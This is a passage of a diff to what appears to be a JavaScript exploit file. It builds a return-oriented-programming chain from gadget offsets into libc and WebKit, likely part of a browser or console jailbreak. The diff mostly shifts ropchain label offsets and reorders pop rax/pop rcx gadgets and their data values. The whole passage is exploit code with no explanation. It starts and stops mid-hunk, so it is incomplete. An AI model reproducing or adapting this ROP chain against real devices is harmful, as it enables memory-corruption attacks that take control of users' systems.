rax libc_base+792472 //pop rcx ]); @@ -4357,7 +4355,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+91224, //L652 +ropchain+91208, //L652 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4367,19 +4365,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+91280, //L655 +ropchain+91264, //L654 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L655: +//L654: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+91352, //L656 +ropchain+91336, //L656 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4389,12 +4387,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+91408, //L659 +ropchain+91392, //L658 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L659: +//L658: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -4405,29 +4403,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+91512, //L662 +ropchain+91480, //L660 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L660: -db([40, 0]); // 0x28 -set_gadget(libc_base+792472,); //pop rcx -//L662: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L661: +db([40, 0]); // 0x28 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+91616, //L665 +ropchain+91600, //L665 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+91600, //L664 +ropchain+91584, //L663 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L664: +//L663: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L665: @@ -4435,15 +4433,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+91760, //L668 +ropchain+91744, //L668 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+91728, //L666 +ropchain+91712, //L666 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+91744, //L667 +ropchain+91728, //L667 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4461,29 +4459,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+91856, //L671 +ropchain+91824, //L669 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L669: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L671: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L670: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+91960, //L674 +ropchain+91944, //L674 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+91944, //L673 +ropchain+91928, //L672 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L673: +//L672: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L674: @@ -4491,15 +4489,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+92104, //L677 +ropchain+92088, //L677 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+92072, //L675 +ropchain+92056, //L675 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+92088, //L676 +ropchain+92072, //L676 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4516,7 +4514,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+92176, //L678 +ropchain+92160, //L678 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4526,12 +4524,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+92232, //L681 +ropchain+92216, //L680 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L681: +//L680: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4540,25 +4538,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+92312, //L683 +ropchain+92296, //L683 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L683: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax +set_gadget(libc_base+792472,); //pop rcx //L682: db([8, 0]); // 0x8 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+788575,); //pop rax //L684: db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+92416, //L685 +ropchain+92400, //L685 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+92432, //L686 +ropchain+92416, //L686 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4576,7 +4574,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+92520, //L687 +ropchain+92504, //L687 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4586,19 +4584,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+92576, //L690 +ropchain+92560, //L689 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L690: +//L689: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+92648, //L691 +ropchain+92632, //L691 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4608,12 +4606,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+92704, //L694 +ropchain+92688, //L693 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L694: +//L693: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -4633,29 +4631,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+92856, //L698 +ropchain+92824, //L696 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L696: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L698: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L697: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+92960, //L701 +ropchain+92944, //L701 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+92944, //L700 +ropchain+92928, //L699 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L700: +//L699: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L701: @@ -4663,15 +4661,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+93104, //L704 +ropchain+93088, //L704 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+93072, //L702 +ropchain+93056, //L702 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+93088, //L703 +ropchain+93072, //L703 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4688,7 +4686,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+93176, //L705 +ropchain+93160, //L705 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4698,12 +4696,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+93232, //L708 +ropchain+93216, //L707 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L708: +//L707: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4712,25 +4710,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+93312, //L710 +ropchain+93296, //L710 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L710: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L709: -db([9, 0]); // 0x9 set_gadget(libc_base+792472,); //pop rcx -//L711: +//L709: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L711: +db([9, 0]); // 0x9 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+93416, //L712 +ropchain+93400, //L712 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+93432, //L713 +ropchain+93416, //L713 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4748,7 +4746,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+93520, //L714 +ropchain+93504, //L714 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4758,19 +4756,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+93576, //L717 +ropchain+93560, //L716 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L717: +//L716: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+93648, //L718 +ropchain+93632, //L718 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4780,12 +4778,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+93704, //L721 +ropchain+93688, //L720 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L721: +//L720: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -4796,29 +4794,29 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+93808, //L724 +ropchain+93776, //L722 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L722: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L724: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L723: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+93912, //L727 +ropchain+93896, //L727 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+93896, //L726 +ropchain+93880, //L725 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L726: +//L725: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L727: @@ -4826,15 +4824,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+94056, //L730 +ropchain+94040, //L730 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+94024, //L728 +ropchain+94008, //L728 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+94040, //L729 +ropchain+94024, //L729 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4851,7 +4849,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+94128, //L731 +ropchain+94112, //L731 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4861,12 +4859,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+94184, //L734 +ropchain+94168, //L733 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L734: +//L733: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -4875,25 +4873,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+94264, //L736 +ropchain+94248, //L736 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L736: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L735: -db([6, 0]); // 0x6 set_gadget(libc_base+792472,); //pop rcx -//L737: +//L735: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L737: +db([6, 0]); // 0x6 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+94368, //L738 +ropchain+94352, //L738 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+94384, //L739 +ropchain+94368, //L739 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4911,7 +4909,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+94472, //L740 +ropchain+94456, //L740 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -4921,12 +4919,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+94528, //L743 +ropchain+94512, //L742 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L743: +//L742: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -4939,29 +4937,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+94648, //L746 +ropchain+94616, //L744 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L744: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L746: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L745: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+94752, //L749 +ropchain+94736, //L749 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+94736, //L748 +ropchain+94720, //L747 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L748: +//L747: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L749: @@ -4969,15 +4967,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+94896, //L752 +ropchain+94880, //L752 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+94864, //L750 +ropchain+94848, //L750 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+94880, //L751 +ropchain+94864, //L751 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -4994,7 +4992,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+94968, //L753 +ropchain+94952, //L753 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5004,12 +5002,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+95024, //L756 +ropchain+95008, //L755 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L756: +//L755: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5018,25 +5016,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+95104, //L758 +ropchain+95088, //L758 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L758: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L757: -db([10, 0]); // 0xa set_gadget(libc_base+792472,); //pop rcx -//L759: +//L757: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L759: +db([10, 0]); // 0xa set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+95208, //L760 +ropchain+95192, //L760 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+95224, //L761 +ropchain+95208, //L761 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5054,7 +5052,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+95312, //L762 +ropchain+95296, //L762 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5064,19 +5062,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+95368, //L765 +ropchain+95352, //L764 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L765: +//L764: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+95440, //L766 +ropchain+95424, //L766 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5086,12 +5084,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+95496, //L769 +ropchain+95480, //L768 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L769: +//L768: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -5111,29 +5109,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+95648, //L773 +ropchain+95616, //L771 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L771: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L773: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L772: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+95752, //L776 +ropchain+95736, //L776 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+95736, //L775 +ropchain+95720, //L774 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L775: +//L774: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L776: @@ -5141,15 +5139,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+95896, //L779 +ropchain+95880, //L779 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+95864, //L777 +ropchain+95848, //L777 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+95880, //L778 +ropchain+95864, //L778 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5166,7 +5164,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+95968, //L780 +ropchain+95952, //L780 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5176,12 +5174,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+96024, //L783 +ropchain+96008, //L782 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L783: +//L782: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5190,25 +5188,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+96104, //L785 +ropchain+96088, //L785 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L785: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L784: -db([11, 0]); // 0xb set_gadget(libc_base+792472,); //pop rcx -//L786: +//L784: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L786: +db([11, 0]); // 0xb set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+96208, //L787 +ropchain+96192, //L787 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+96224, //L788 +ropchain+96208, //L788 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5226,7 +5224,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+96312, //L789 +ropchain+96296, //L789 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5236,19 +5234,19 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+96368, //L792 +ropchain+96352, //L791 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L792: +//L791: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+96440, //L793 +ropchain+96424, //L793 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5258,12 +5256,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+96496, //L796 +ropchain+96480, //L795 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L796: +//L795: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx @@ -5283,29 +5281,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+96648, //L800 +ropchain+96616, //L798 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L798: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L800: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L799: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+96752, //L803 +ropchain+96736, //L803 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+96736, //L802 +ropchain+96720, //L801 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L802: +//L801: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L803: @@ -5313,15 +5311,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+96896, //L806 +ropchain+96880, //L806 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+96864, //L804 +ropchain+96848, //L804 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+96880, //L805 +ropchain+96864, //L805 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5338,7 +5336,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+96968, //L807 +ropchain+96952, //L807 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -5348,12 +5346,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+97024, //L810 +ropchain+97008, //L809 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L810: +//L809: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -5362,25 +5360,25 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+97104, //L812 +ropchain+97088, //L812 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); //L812: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L811: -db([12, 0]); // 0xc set_gadget(libc_base+792472,); //pop rcx -//L813: +//L811: db([8, 0]); // 0x8 +set_gadget(libc_base+788575,); //pop rax +//L813: +db([12, 0]); // 0xc set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+97208, //L814 +ropchain+97192, //L814 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+97224, //L815 +ropchain+97208, //L815 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -5398,7 +5396,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+97312, //L816 +ropchain+97296, //L816 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ 